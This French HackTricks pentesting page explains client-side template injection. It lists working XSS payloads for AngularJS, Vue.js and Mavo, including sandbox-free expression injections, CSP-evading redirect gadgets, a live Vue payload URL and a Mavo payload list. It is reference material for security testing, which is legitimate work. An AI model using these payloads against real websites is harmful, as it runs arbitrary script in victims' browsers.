hacktricks/pentesting-web/client-side-template-injection-csti.md
2023-06-03 13:10:46 +00:00

7.6 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Résumé

C'est comme une injection de modèle côté serveur (SSTI) mais côté client. Le SSTI peut vous permettre d'exécuter du code sur le serveur distant, le CSTI pourrait vous permettre d'exécuter du code JavaScript arbitraire sur la victime.

La façon de tester cette vulnérabilité est très similaire à celle de SSTI, l'interpréteur va s'attendre à quelque chose à exécuter entre les doubles clés et l'exécutera. Par exemple, en utilisant quelque chose comme : {{ 7-7 }} si le serveur est vulnérable, vous verrez un 0 et sinon vous verrez l'original : {{ 7-7 }}

AngularJS

AngularJS est une bibliothèque JavaScript populaire, qui analyse le contenu des nœuds HTML contenant l'attribut ng-app (également connu sous le nom de directive AngularJS). Lorsqu'une directive est ajoutée au code HTML, vous pouvez exécuter des expressions JavaScript entre des doubles accolades.
Par exemple, si votre entrée est réfléchie à l'intérieur du corps de l'HTML et que le corps est défini avec ng-app: <body ng-app>

Vous pouvez exécuter du code JavaScript arbitraire en utilisant des accolades ajoutées au corps :

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Vous pouvez trouver un exemple en ligne très basique de la vulnérabilité dans AngularJS sur http://jsfiddle.net/2zs2yv7o/

{% hint style="danger" %} Angular 1.6 a supprimé le bac à sable donc à partir de cette version, une charge utile comme {{constructor.constructor('alert(1)')()}} ou <input ng-focus=$event.view.alert('XSS')> devrait fonctionner. {% endhint %}

VueJS

Vous pouvez trouver une implémentation vue.js vulnérable sur https://vue-client-side-template-injection-example.azu.now.sh/
Charge utile fonctionnelle: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

Et le code source de l'exemple vulnérable ici: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

Un excellent article sur CSTI dans VUE peut être trouvé sur https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Crédit: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Crédit: Mario Heiderich

Vérifiez plus de charges utiles VUE dans https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Charge utile:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Liste de détection de force brute

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥